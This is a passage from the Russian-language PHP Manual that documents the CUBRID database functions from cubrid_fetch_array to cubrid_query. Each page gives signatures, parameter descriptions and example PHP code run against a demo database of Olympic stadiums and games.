Тип возвращаемого массива зависит от заданного типа. По умолчанию используется CUBRID_BOTH, что ведёт к извлечению как ассоциативного, так и индексированного массивов, но это поведение можно переопределить параметром type. Значения, допустимые для параметра type:

  • CUBRID_NUM : Индексированный массив (первый элемент имеет индекс 0)
  • CUBRID_ASSOC : Ассоциативный массив
  • CUBRID_BOTH : И тот и другой одновременно (по умолчанию)

Примеры

Пример #1 Пример использования cubrid_fetch_array()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT name,area,seats,address FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch_array($req, CUBRID_NUM)) {
printf("%-40s %-10s %-6s %-20s\n", $row[0], $row[1], $row[2], $row[3]);
}

// Если вам нужно оперировать объектами LOB - используйте
// cubrid_fetch_array($req, CUBRID_NUM | CUBRID_LOB)

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

Смотрите также

  • cubrid_execute() - Выполняет подготовленный SQL-оператор
  • cubrid_fetch() - Выбирает следующую строку из набора результатов
  • cubrid_fetch_row() - Извлечь строку из результирующего набора в виде индексированного массива
  • cubrid_fetch_assoc() - Извлечь строку из результирующего набора в виде ассоциативного массива
  • cubrid_fetch_object() - Извлечь следующую строку как объект

User Contributed Notes

There are no user contributed notes for this page.


Извлечь строку из результирующего набора в виде ассоциативного массива

  • « cubrid_fetch_array
  • cubrid_fetch_field »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Извлечь строку из результирующего набора в виде ассоциативного массива

cubrid_fetch_assoc

(PECL CUBRID >= 8.3.0)

cubrid_fetch_assoc — Извлечь строку из результирующего набора в виде ассоциативного массива

Описание

cubrid_fetch_assoc(resource $result, int $type = ?): array

Функция возвращает ассоциативный массив, соответствующей строке в результирующем наборе на которую указывает внутренний указатель. После извлечения внутренний указатель перемещается на следующую строку. Если строки закончились, то функция вернёт false.

Список параметров

result

Result, полученный из cubrid_execute()

type

Может быть только CUBRID_LOB. Этот параметр используется только если вам необходимо оперировать объектами LOB.

Возвращаемые значения

Ассоциативный массив в случае успешного выполнения.

false, если строк больше нет; null, когда процесс завершается с ошибкой.

Примеры

Пример #1 Пример использования cubrid_fetch_assoc()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT name,area,seats,address FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch_assoc($req)) {
printf("%-40s %-10s %-6s %-20s\n",
$row["name"], $row["area"], $row["seats"], $row["address"]);
}

// Если вам нужно оперировать объектами LOB - используйте
// cubrid_fetch_assoc($req, CUBRID_LOB)

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

Смотрите также

  • cubrid_execute() - Выполняет подготовленный SQL-оператор
  • cubrid_fetch() - Выбирает следующую строку из набора результатов
  • cubrid_fetch_row() - Извлечь строку из результирующего набора в виде индексированного массива
  • cubrid_fetch_array() - Извлечение строки из результирующего набора в виде ассоциативного массива, индексированного массива или обоих сразу
  • cubrid_fetch_object() - Извлечь следующую строку как объект

User Contributed Notes

There are no user contributed notes for this page.


Получение информации о столбце результирующего набора в виде объекта

  • « cubrid_fetch_assoc
  • cubrid_fetch_lengths »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Получение информации о столбце результирующего набора в виде объекта

cubrid_fetch_field

(PECL CUBRID >= 8.3.1)

cubrid_fetch_field — Получение информации о столбце результирующего набора в виде объекта

Описание

cubrid_fetch_field(resource $result, int $field_offset = 0): object

Функция возвращает объект, в свойствах которого содержится информация о столбце. Свойства объекта:

name

имя столбца

table

имя таблицы

def

значение столбца по умолчанию

max_length

максимальная длина столбца

not_null

1, если не может быть NULL

primary_key

1, если является первичным ключом

unique_key

1, если является уникальным ключом

multiple_key

1, если является неуникальным ключом

numeric

1, если содержит числовое значение

blob

1, если содержит BLOB

type

тип столбца

unsigned

1, если беззнаковый тип

zerofill

1, если дополняется нулями

Список параметров

result

Result, полученный из cubrid_execute()

field_offset

Числовой индекс столбца. Если не задан, то будет извлечён следующий, не извлечённый этой функцией, столбец. field_offset начинается с нуля.

Возвращаемые значения

Объект с описанными выше свойствами в случае успешного выполнения.

false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_fetch_field()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT event_code,athlete_code,nation_code,game_date FROM game WHERE host_year=1988 and event_code=20001;");

var_dump(cubrid_fetch_row($req));

cubrid_field_seek($req, 1);
$field = cubrid_fetch_field($req);

printf("\n--- Field Properties ---\n");
printf("%-30s %s\n", "имя столбца:", $field->name);
printf("%-30s %s\n", "имя таблицы:", $field->table);
printf("%-30s \"%s\"\n", "значение столбца по умолчанию:", $field->def);
printf("%-30s %d\n", "максимальная длина столбца:", $field->max_length);
printf("%-30s %d\n", "не может быть NULL:", $field->not_null);
printf("%-30s %d\n", "является первичным ключом:", $field->primary_key);
printf("%-30s %d\n", "является уникальным ключом:", $field->unique_key);
printf("%-30s %d\n", "является неуникальным ключом:", $field->multiple_key);
printf("%-30s %d\n", "содержит числовое значение:", $field->numeric);
printf("%-30s %d\n", "содержит BLOB:", $field->blob);
printf("%-30s %s\n", "тип столбца:", $field->type);
printf("%-30s %d\n", "беззнаковый тип:", $field->unsigned);
printf("%-30s %d\n", "дополняется нулями:", $field->zerofill);

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

array(4) {
  [0]=>
  string(5) "20001"
  [1]=>
  string(5) "16681"
  [2]=>
  string(3) "KOR"
  [3]=>
  string(9) "1988-9-30"
}

--- Field Properties ---
имя столбца:                         athlete_code
имя таблицы:                         game
значение столбца по умолчанию:          ""
максимальная длина столбца:             0
не может быть NULL:                  1
является первичным ключом:             1
является уникальным ключом:            1
является неуникальным ключом:           0
содержит числовое значение:             1
содержит BLOB:                       0
тип столбца:                         integer
беззнаковый тип:                      0
дополняется нулями:                    0

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив, содержащий длины всех столбцов текущей строки

  • « cubrid_fetch_field
  • cubrid_fetch_object »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Возвращает массив, содержащий длины всех столбцов текущей строки

cubrid_fetch_lengths

(PECL CUBRID >= 8.3.0)

cubrid_fetch_lengths — Возвращает массив, содержащий длины всех столбцов текущей строки

Описание

cubrid_fetch_lengths(resource $result): array

Функция возвращает индексированный массив, содержащий длины столбцов в текущей строке из результирующего набора, или false в случае возникновения ошибки.

Замечание:

Если столбец типа BLOB/CLOB, то для получения его длины используйте cubrid_lob_size().

Список параметров

result

Result полученный из cubrid_execute()

Возвращаемые значения

Индексированный массив.

false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_fetch_lengths()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$row = cubrid_fetch_row($result);
print_r($row);

$lens = cubrid_fetch_lengths($result);
print_r($lens);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

Array
(
    [0] => 2004
    [1] => 20085
    [2] => 15118
    [3] => 30134
    [4] => AUS
    [5] => G
    [6] => 2004-8-20
)
Array
(
    [0] => 4
    [1] => 5
    [2] => 5
    [3] => 5
    [4] => 3
    [5] => 1
    [6] => 10
)

User Contributed Notes

There are no user contributed notes for this page.


Извлечь следующую строку как объект

  • « cubrid_fetch_lengths
  • cubrid_fetch_row »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Извлечь следующую строку как объект

cubrid_fetch_object

(PECL CUBRID >= 8.3.0)

cubrid_fetch_object — Извлечь следующую строку как объект

Описание

cubrid_fetch_object(
resource $result,
string $class_name = ?,
array $params = ?,
int $type = ?
): object

Функция возвращает объект со свойствами, имена которых равны именам столбцов результирующего набора, а значения, соответственно, значениям.

Список параметров

result

Result полученный из cubrid_execute()

class_name

Имя класса, который будет использован для создания объекта. Если не задано, то будет использован stdClass (stdClass - базовый, пустой, класс PHP, который используется при преобразовании прочих типов в объекты).

params

Необязательный массив параметров для передачи в конструктор class_name.

type

Может содержать только CUBRID_LOB. Используется при работе с объектами типа LOB.

Возвращаемые значения

Объект, в случае успешного выполнения.

false, если строк больше нет; null, когда процесс завершается с ошибкой.

Примеры

Пример #1 Пример использования cubrid_fetch_object()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$res = cubrid_execute($conn, "SELECT * FROM code");

var_dump(cubrid_fetch_object($res));

// В случае работы с LOB используйте cubrid_fetch_object($res, CUBRID_LOB)

class demodb_code {
public $s_name = null;
public $f_name = null;

public function toString() {
var_dump($this);
}
}

var_dump(cubrid_fetch_object($res, "demodb_code"));

// В случае работы с LOB используйте cubrid_fetch_object($res, "demodb_code", CUBRID_LOB)

class demodb_code_construct extends demodb_code {
public function __construct($s, $f) {
$this->s_name = $s;
$this->f_name = $f;
}
}

var_dump(cubrid_fetch_object($res, 'demodb_code_construct', array('s_name', 'f_name')));

// В случае работы с LOB используйте cubrid_fetch_object($res, 'demodb_code_construct', array('s_name', 'f_name'), CUBRID_LOB)

var_dump(cubrid_fetch_object($res));

cubrid_close_request($res);
cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

object(stdClass)#1 (2) {
  ["s_name"]=>
  string(1) "X"
  ["f_name"]=>
  string(5) "Mixed"
}
object(demodb_code)#1 (2) {
  ["s_name"]=>
  string(1) "W"
  ["f_name"]=>
  string(5) "Woman"
}
object(demodb_code_construct)#1 (2) {
  ["s_name"]=>
  string(6) "s_name"
  ["f_name"]=>
  string(6) "f_name"
}
object(stdClass)#1 (2) {
  ["s_name"]=>
  string(1) "B"
  ["f_name"]=>
  string(6) "Bronze"
}

Смотрите также

  • cubrid_execute() - Выполняет подготовленный SQL-оператор
  • cubrid_fetch() - Выбирает следующую строку из набора результатов
  • cubrid_fetch_array() - Извлечение строки из результирующего набора в виде ассоциативного массива, индексированного массива или обоих сразу
  • cubrid_fetch_assoc() - Извлечь строку из результирующего набора в виде ассоциативного массива
  • cubrid_fetch_row() - Извлечь строку из результирующего набора в виде индексированного массива

User Contributed Notes

There are no user contributed notes for this page.


Извлечь строку из результирующего набора в виде индексированного массива

  • « cubrid_fetch_object
  • cubrid_field_flags »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Извлечь строку из результирующего набора в виде индексированного массива

cubrid_fetch_row

(PECL CUBRID >= 8.3.0)

cubrid_fetch_row — Извлечь строку из результирующего набора в виде индексированного массива

Описание

cubrid_fetch_row(resource $result, int $type = ?): array

Функция возвращает ассоциативный массив, соответствующей строке в результирующем наборе на которую указывает внутренний указатель. После извлечения внутренний указатель перемещается на следующую строку. Первый элемент имеет индекс 0.

Список параметров

result

Result, полученный из cubrid_execute()

type

Может быть только CUBRID_LOB. Этот параметр используется только если вам необходимо оперировать объектами LOB.

Возвращаемые значения

Индексированный массив в случае успешного выполнения.

false, если строк больше нет; null, когда процесс завершается с ошибкой.

Примеры

Пример #1 Пример использования cubrid_fetch_row()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT name,area,seats,address FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "наименование", "площадь", "мест", "адрес");
while ($row = cubrid_fetch_row($req)) {
printf("%-40s %-10s %-6s %-20s\n", $row[0], $row[1], $row[2], $row[3]);
}

// В случае работы с LOB используйте cubrid_fetch_row($req, CUBRID_LOB)

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

наименование                                площадь     мест  адрес
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

Смотрите также

  • cubrid_execute() - Выполняет подготовленный SQL-оператор
  • cubrid_fetch() - Выбирает следующую строку из набора результатов
  • cubrid_fetch_array() - Извлечение строки из результирующего набора в виде ассоциативного массива, индексированного массива или обоих сразу
  • cubrid_fetch_assoc() - Извлечь строку из результирующего набора в виде ассоциативного массива
  • cubrid_fetch_object() - Извлечь следующую строку как объект

User Contributed Notes

There are no user contributed notes for this page.


Получить строку, содержащую флаги столбца по указанному индексу

  • « cubrid_fetch_row
  • cubrid_field_len »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Получить строку, содержащую флаги столбца по указанному индексу

cubrid_field_flags

(PECL CUBRID >= 8.3.0)

cubrid_field_flags — Получить строку, содержащую флаги столбца по указанному индексу

Описание

cubrid_field_flags(resource $result, int $field_offset): string

Функция возвращает строку, содержащую флаги столбца по указанному индексу, разделённые пробелом. Вы можете разбить строку на отдельные части с помощью explode. Возможные значения флагов: not_null, primary_key, unique_key, foreign_key, auto_increment, shared, reverse_index, reverse_unique и timestamp.

Список параметров

result

Result полученный из cubrid_execute()

field_offset

Индекс поля в строке результирующего набора. field_offset начинается с 0. Если field_offset не задан, то будет вызвана ошибка уровня E_WARNING.

Возвращаемые значения

Строка с флагами в случае успешного выполнения.

false в случае некорректного значения field_offset.

-1, если SQL-запрос был отличного от SELECT типа.

Примеры

Пример #1 Пример использования cubrid_field_flags()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$col_num = cubrid_num_cols($result);

printf("%-30s %s\n", "Имя поля", "Флаги поля");
for($i = 0; $i < $col_num; $i++) {
printf("%-30s %s\n", cubrid_field_name($result, $i), cubrid_field_flags($result, $i));
}

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

Наименование поля                Флаги поля
host_year                      not_null primary_key unique_key
event_code                     not_null primary_key unique_key foreign_key
athlete_code                   not_null primary_key unique_key foreign_key
stadium_code                   not_null
nation_code
medal
game_date

User Contributed Notes

There are no user contributed notes for this page.


Получить максимальную длину указанного столбца

  • « cubrid_field_flags
  • cubrid_field_name »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Получить максимальную длину указанного столбца

cubrid_field_len

(PECL CUBRID >= 8.3.0)

cubrid_field_len — Получить максимальную длину указанного столбца

Описание

cubrid_field_len(resource $result, int $field_offset): int

Функция возвращает максимальную длину указанного столбца в случае успешного выполнения или false в случае возникновения ошибки.

Список параметров

result

Result полученный из cubrid_execute()

field_offset

Индекс поля в строке результирующего набора. field_offset начинается с 0. Если field_offset не задан, то будет вызвана ошибка уровня E_WARNING.

Возвращаемые значения

Максимальная длина в случае успешного выполнения.

false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_field_len()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$column_names = cubrid_column_names($result);
$column_types = cubrid_column_types($result);

printf("%-30s %-30s %-15s\n", "Наименование столбца", "Тип столбца", "Максимальная длина столбца");
for($i = 0, $size = count($column_names); $i < $size; $i++) {
$column_len = cubrid_field_len($result, $i);
printf("%-30s %-30s %-15s\n", $column_names[$i], $column_types[$i], $column_len);
}

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

Наименование столбца                   Тип столбца                   Максимальная длина столбца
host_year                      integer                        11
event_code                     integer                        11
athlete_code                   integer                        11
stadium_code                   integer                        11
nation_code                    char                           3
medal                          char                           1
game_date                      date                           10

User Contributed Notes

There are no user contributed notes for this page.


Получить имя указанного столбца

  • « cubrid_field_len
  • cubrid_field_seek »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Получить имя указанного столбца

cubrid_field_name

(PECL CUBRID >= 8.3.0)

cubrid_field_name — Получить имя указанного столбца

Описание

cubrid_field_name(resource $result, int $field_offset): string

Функция возвращает имя указанного столбца в случае успешного выполнения или false в случае возникновения ошибки.

Список параметров

result

Result, полученный из cubrid_execute()

field_offset

Индекс поля в строке результирующего набора. field_offset начинается с 0. Если field_offset не задан, то будет вызвана ошибка уровня E_WARNING.

Возвращаемые значения

Имя столбца в случае успешного выполнения.

false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_field_name()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$col_num = cubrid_num_cols($result);

printf("%-30s %s\n", "Наименование поля", "Флаги поля");
for($i = 0; $i < $col_num; $i++) {
printf("%-30s %s\n", cubrid_field_name($result, $i), cubrid_field_flags($result, $i));
}

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

Наименование поля                 Флаги поля
host_year                      not_null primary_key unique_key
event_code                     not_null primary_key unique_key foreign_key
athlete_code                   not_null primary_key unique_key foreign_key
stadium_code                   not_null
nation_code
medal
game_date

User Contributed Notes

There are no user contributed notes for this page.


Переместить внутренний указатель результирующего набора на указанный столбец

  • « cubrid_field_name
  • cubrid_field_table »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Переместить внутренний указатель результирующего набора на указанный столбец

cubrid_field_seek

(PECL CUBRID >= 8.3.0)

cubrid_field_seek — Переместить внутренний указатель результирующего набора на указанный столбец

Описание

cubrid_field_seek(resource $result, int $field_offset = 0): bool

Функция перемещает внутренний указатель результирующего набора на указанный столбец. Это смещение используется функцией cubrid_fetch_field(), если не указан параметр offset. Возвращает true либо false в зависимости от успешности выполнения.

Список параметров

result

Result, полученный из cubrid_execute()

field_offset

Индекс поля в строке результирующего набора. field_offset начинается с 0. Если field_offset не задан, то будет вызвана ошибка уровня E_WARNING.

Возвращаемые значения

true в случае успешного выполнения.

false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_field_seek()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT event_code,athlete_code,nation_code,game_date FROM game WHERE host_year=1988 and event_code=20001;");

var_dump(cubrid_fetch_row($req));

cubrid_field_seek($req, 1);
$field = cubrid_fetch_field($req);

printf("\n--- Свойства поля ---\n");
printf("%-30s %s\n", "имя столбца:", $field->name);
printf("%-30s %s\n", "имя таблицы:", $field->table);
printf("%-30s \"%s\"\n", "значение столбца по умолчанию:", $field->def);
printf("%-30s %d\n", "максимальная длина столбца:", $field->max_length);
printf("%-30s %d\n", "не может быть NULL:", $field->not_null);
printf("%-30s %d\n", "является уникальным ключом:", $field->unique_key);
printf("%-30s %d\n", "является неуникальным ключом:", $field->multiple_key);
printf("%-30s %d\n", "содержит числовое значение:", $field->numeric);
printf("%-30s %s\n", "тип столбца:", $field->type);

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

array(4) {
  [0]=>
  string(5) "20001"
  [1]=>
  string(5) "16132"
  [2]=>
  string(3) "KOR"
  [3]=>
  string(9) "1988-09-30"
}

--- Свойства поля ---
имя столбца:                         athlete_code
имя таблицы:                         game
значение столбца по умолчанию:           ""
максимальная длина столбца:             0
не может быть NULL:                  1
является уникальным ключом:             1
является неуникальным ключом:           0
содержит числовое значение:             1
тип столбца:                          integer

User Contributed Notes

There are no user contributed notes for this page.


Получить имя таблицы, которой принадлежит указанный столбец

  • « cubrid_field_seek
  • cubrid_field_type »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Получить имя таблицы, которой принадлежит указанный столбец

cubrid_field_table

(PECL CUBRID >= 8.3.0)

cubrid_field_table — Получить имя таблицы, которой принадлежит указанный столбец

Описание

cubrid_field_table(resource $result, int $field_offset): string

Функция возвращает имя таблицы, которая содержит указанный столбец. Бывает полезно при работе с большими запросами с JOIN.

Список параметров

result

Result полученный из cubrid_execute()

field_offset

Индекс поля в строке результирующего набора. field_offset начинается с 0. Если field_offset не задан, то будет вызвана ошибка уровня E_WARNING.

Возвращаемые значения

Имя таблицы в случае успешного выполнения.

false если задан некорректный field_offset.

-1, если SQL-запрос был отличного от SELECT типа.

Примеры

Пример #1 Пример использования cubrid_field_table()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM code");

$col_num = cubrid_num_cols($result);

printf("%-15s %-15s %s\n", "Таблица поля", "Наименовение поля", "Тип поля");
for($i = 0; $i < $col_num; $i++) {
printf("%-15s %-15s %s\n",
cubrid_field_table($result, $i), cubrid_field_name($result, $i), cubrid_field_type($result, $i));
}

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

Таблица поля      Наименовение поля  Тип поля
code            s_name          char
code            f_name          varchar

User Contributed Notes

There are no user contributed notes for this page.


Получить тип указанного столбца

  • « cubrid_field_table
  • cubrid_list_dbs »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Получить тип указанного столбца

cubrid_field_type

(PECL CUBRID >= 8.3.0)

cubrid_field_type — Получить тип указанного столбца

Описание

cubrid_field_type(resource $result, int $field_offset): string

Функция возвращает тип указанного столбца. Тип может принимать следующие значения: "int", "real", "string" и т.д.

Список параметров

result

Result, полученный из cubrid_execute()

field_offset

Индекс поля в строке результирующего набора. field_offset начинается с 0. Если field_offset не задан, то будет вызвана ошибка уровня E_WARNING.

Возвращаемые значения

Тип столбца в случае успешного выполнения.

false, если задан некорректный field_offset.

-1, если SQL-запрос был отличного от SELECT типа.

Примеры

Пример #1 Пример использования cubrid_field_type()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM code");

$col_num = cubrid_num_cols($result);

printf("%-15s %-15s %s\n", "Таблица поля", "Наименование поля", "Тип поля");
for($i = 0; $i < $col_num; $i++) {
printf("%-15s %-15s %s\n",
cubrid_field_table($result, $i), cubrid_field_name($result, $i), cubrid_field_type($result, $i));
}

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

Таблица поля      Наименование поля  Тип поля
code            s_name          char
code            f_name          varchar

User Contributed Notes

There are no user contributed notes for this page.


Получить массив со списком всех баз данных CUBRID

  • « cubrid_field_type
  • cubrid_num_fields »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Получить массив со списком всех баз данных CUBRID

cubrid_list_dbs

(PECL CUBRID >= 8.3.0)

cubrid_list_dbs — Получить массив со списком всех баз данных CUBRID

Описание

cubrid_list_dbs(resource $conn_identifier = ?): array

Функция возвращает массив со списком всех баз данных CUBRID

Список параметров

conn_identifier

The CUBRID connection.

Возвращаемые значения

Индексированный массив со списком баз данных.

false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_list_dbs()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$db_list = cubrid_list_dbs($conn);
var_dump($db_list);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

array(1) {
  [0]=>
  string(6) "demodb"
}

User Contributed Notes

There are no user contributed notes for this page.


Получить количество столбцов в результирующем наборе

  • « cubrid_list_dbs
  • cubrid_ping »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Получить количество столбцов в результирующем наборе

cubrid_num_fields

(PECL CUBRID >= 8.3.0)

cubrid_num_fields — Получить количество столбцов в результирующем наборе

Описание

cubrid_num_fields(resource $result): int

Возвращает количество столбцов в результирующем наборе или false в случае возникновения ошибки.

Список параметров

result

result, полученный из cubrid_execute(), cubrid_query() или cubrid_prepare()

Возвращаемые значения

Количество столбцов в случае успешного выполнения.

-1, если SQL-запрос был отличного от SELECT типа.

false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_num_fields()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code");

$row_num = cubrid_num_rows($req);
$col_num = cubrid_num_fields($req);

printf("Количество строк: %d\nКоличество столбцов: %d\n", $row_num, $col_num);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

Количество строк: 6
Количество столбцов: 2

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, живо ли соединение к серверу и переподключает его, если нет

  • « cubrid_num_fields
  • cubrid_query »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Проверяет, живо ли соединение к серверу и переподключает его, если нет

cubrid_ping

(PECL CUBRID >= 8.3.1)

cubrid_ping — Проверяет, живо ли соединение к серверу и переподключает его, если нет

Описание

cubrid_ping(resource $conn_identifier = ?): bool

Проверяет, живо ли соединение к серверу.

Список параметров

conn_identifier

Идентификатор соединения. Если не задано, то будет использовано последнее открытое с помощью cubrid_connect() соединение.

Возвращаемые значения

Возвращает true, если соединение работает, иначе false.

Примеры

Пример #1 Пример использования cubrid_ping()

<?php
set_time_limit(0);

$conn = cubrid_connect('localhost', 33000, 'demodb');

/* Предположим, что это ну очень длинный запрос */
$sql = "select * from athlete";
$result = cubrid_query($sql);
if (!$result) {
echo 'Запрос #1 завершился с ошибкой, выходим.';
exit;
}

/* Проверяем, живо ли ещё соединение и пересоздаем его, если нет */
if (!cubrid_ping($conn)) {
echo 'Потеряно соединение, выходим после запроса #1';
exit;
}
cubrid_free_result($result);

/* Так так, соединение работает. Тогда ещё один запрос! */
$sql2 = "select * from code";
$result2 = cubrid_query($sql2);
?>

User Contributed Notes

There are no user contributed notes for this page.


Отправка запроса CUBRID

  • « cubrid_ping
  • cubrid_real_escape_string »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Отправка запроса CUBRID

cubrid_query

(PECL CUBRID >= 8.3.1)

cubrid_query — Отправка запроса CUBRID

Описание

cubrid_query(string $query, resource $conn_identifier = ?): resource

Функция cubrid_query() посылает уникальный запрос (множественные запросы не поддерживаются) текущей активной базе данных, заданной идентификатором соединения conn_identifier.

Список параметров

query

SQL-запрос

Данные в запросе должны быть корректно экранированы.

conn_identifier

Идентификатор соединения. Если не задано, то будет использовано последнее, открытое с помощью cubrid_connect() соединение.

Возвращаемые значения

Для SELECT, SHOW, DESCRIBE, EXPLAIN и прочих запросах, возвращающих результирующий набор, cubrid_query() возвращает resource в случае успешного выполнения и false в случае возникновения ошибки.

Для прочих типов SQL-запросов, INSERT, UPDATE, DELETE, DROP и т.д, cubrid_query() возвращает true или false в зависимости от успешности выполнения.

Возвращённый результат можно передавать в функцию cubrid_fetch_array() и ей подобные для работы с полученными данными.

Используйте cubrid_num_rows() для определения количества возвращённых оператором SELECT строк или cubrid_affected_rows() для определения количества затронутых строк, для запросов изменяющих данные, таких как DELETE, INSERT, REPLACE и UPDATE.

cubrid_query() также может завершиться с ошибкой и вернуть false, если пользователь не имеет прав на доступ к таблице, используемой в запросе.

Примеры

Пример #1 Некорректный запрос

Следующий запрос содержит синтаксическую ошибку, так что cubrid_query() вернёт false.

<?php
$conn = cubrid_connect('localhost', 33000, 'demodb');

$result = cubrid_query('SELECT * WHERE 1=1');
if (!$result) {
die('Некорректный запрос: ' . cubrid_error());
}

?>

Пример #2 Корректный запрос

Следующий запрос корректен, так что cubrid_query() вернёт resource.

<?php
// Какие нибудь значения
$firstname = 'fred';
$lastname = 'fox';

$conn = cubrid_connect('localhost', 33000, 'demodb');

cubrid_execute($conn,"DROP TABLE if exists friends");
cubrid_execute($conn,"create table friends(firstname varchar,lastname varchar,address char(24),age int)");
cubrid_execute($conn,"insert into friends values('fred','fox','home-1','20')");
cubrid_execute($conn,"insert into friends values('blue','cat','home-2','21')");
// Сформулируем запрос
// Это лучший путь для выполнения запроса
// Другие примеры смотрите cubrid_real_escape_string()
$query = sprintf("SELECT firstname, lastname, address, age FROM friends WHERE firstname='%s' AND lastname='%s'",
cubrid_real_escape_string($firstname),
cubrid_real_escape_string($lastname));

// Выполняем запрос
$result = cubrid_query($query);

// Проверяем результат
// Показывает сам запрос и ошибку. полезно при отладке.
if (!$result) {
$message = 'Некорректный запрос: ' . cubrid_error() . "\n";
$message .= 'Всего запросов: ' . $query;
die($message);
}

// Используем результат
// Попытка распечатать $result не позволит получить доступ к информации в ресурсе
// Должна быть использована одна из функций cubrid
// Смотрите cubrid_result(), cubrid_fetch_array(), cubrid_fetch_row() и т.д.
while ($row = cubrid_fetch_assoc($result)) {
echo $row['firstname'];
echo $row['lastname'];
